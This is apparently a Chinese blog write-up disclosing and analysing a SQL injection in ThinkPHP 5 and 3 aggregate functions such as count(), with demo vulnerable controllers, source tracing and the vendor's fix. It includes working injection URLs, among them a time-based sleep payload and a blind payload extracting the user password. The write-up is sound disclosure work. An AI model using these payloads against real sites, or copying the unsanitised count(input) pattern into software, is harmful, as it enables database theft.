Thinkphp 聚合查询漏洞

最新推荐文章于 2025-04-21 19:40:26 发布

FLy_鹏程万里

最新推荐文章于 2025-04-21 19:40:26 发布

阅读量553

点赞数

【框架漏洞】同时被 2 个专栏收录

42 篇文章

订阅专栏

ThinkPHP

19 篇文章

订阅专栏

本文深入分析了ThinkPHP5和ThinkPHP3框架中聚合查询函数的SQL注入漏洞，详细展示了漏洞复现步骤及官方修复措施，强调了预编译阶段的安全隐患。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前言

一个比较水的漏洞，不介意的师傅将就看看。本来是抱着试一下的心态提交的，但是官方给了确认还及时修补了，国产良心。

感觉唯一的亮点就是TP5中为数不多能够获取到数据的注入。

说是漏洞，更恰当一点应该是安全隐患吧，由于是框架洞，总要结合一些开发人员不够专业的代码才能产生漏洞。

这个聚合查询的漏洞主要影响的版本有

Thinkphp5 < 5.1.25
Thinkphp3 < 3.2.4

影响的函数涉及到所有的聚合查询函数

而且，有一点就是，可以看到在TP5中涉及到SQL查询的地方，几乎都用了预编译

而且由于PDO::ATTR_EMULATE_PREPARES设置的原因，导致模拟预处理关闭，从而在预编译阶段无法从数据库中获取数据，从而报错退出。从之前爆出的几个TP5漏洞中就能看到，这样一个很大的弊端就是即使注入存在，也无法从数据库中获取到数据。

但是这个漏洞在预编译阶段没有使用占位符，从而不会在预编译阶段报错，从而可以顺利通过注入获取到数据。

ThinkPHP5 < 5.1.25

漏洞复现

这里创建了一个这样的user表

数据库配置请自行配置，然后打开debug和trace模式（方便查看SQL语句

demo样例

public function index()
{
    $count = input('get.count');
    $res = db('user')->count($count);
    var_dump($res);
}

当访问

http://localhost/tp5.1.25/public/?count=id

就能看到返回了数量3

当输入

http://localhost/tp5.1.25/public/?count=id`),(select sleep(5)),(`username

就能看到有明显的五秒的延时

里面改成可以任意的SQL语句，例如通过盲注获取password

http://localhost/tp5.1.25/public/?count=id`),(if(ascii(substr((select password from user where id=1),1,1))>130,0,sleep(3))),(`username

漏洞分析

跟进到count函数中thinkphp/library/think/db/Query.php:643

跟进$count = $this->aggregate('COUNT', $field); thinkphp/library/think/db/Query.php:619

这里又调用了$this->connection->aggregate

注意此时的$field字段还是一开始传入的字符，没有任何变化

然后跟进到thinkphp/library/think/db/Connection.php:1316中

可以看到这里的经过第一句之后$field被组合成了count语句，跟到parseKey的函数定义中就能看到具体处理过程

public function parseKey(Query $query, $key, $strict = false)
{
    ...
    $key = trim($key);

    if (strpos($key, '->') && false === strpos($key, '(')) {
        ...
    } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
        ...
    }

    if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
        $key = '`' . $key . '`';
    }
    ...

    return $key;
}

省略了很多无关的处理函数，可以看到就是简单的通过反引号的字符串相连

$key = '`' . $key . '`';

继续回来到aggregare中，跟进$this->value，这就是真正执行这条SQL语句的地方

thinkphp/library/think/db/Connection.php:1252

可以看到通过 $this->builder->select($query);将之前传入的参数直接拼接到了sql语句中

最后形成$sql为

SELECT COUNT(`id`),(select sleep(5)),(`username`) AS tp_count FROM `user` LIMIT 1

在$query->getBind()的时候是没有需要绑定的参数的，也就避免了后面预编译阶段的报错

最后$pdo = $this->query($sql, $bind, $options['master'], true);执行了SQL语句，产生注入

全局搜索->aggregate的调用，发现所有的聚合函数都是调用了这个模块，同理也就产生了SQL注入

ThinkPHP3 < 3.2.4

漏洞复现

数据库配置和TP5中一致，也要打开debug和trace信息

demo样例

public function index()
{
    $count = I('get.count');
    $m = M('user')->count($count);
    dump($m);
}

这里的payload和TP5中的有一点点的不一样，不过也差不多

http://localhost/tp3.2.4/?count=id),(select password from user where id=1),(username

可以看到直接注入出了数据

漏洞分析

没啥好分析的了，和TP5类似，就是少了一个反引号的差别

漏洞修复

官方很机智的在parseKey中加入了正则校验，不符合这个校验就会抛出异常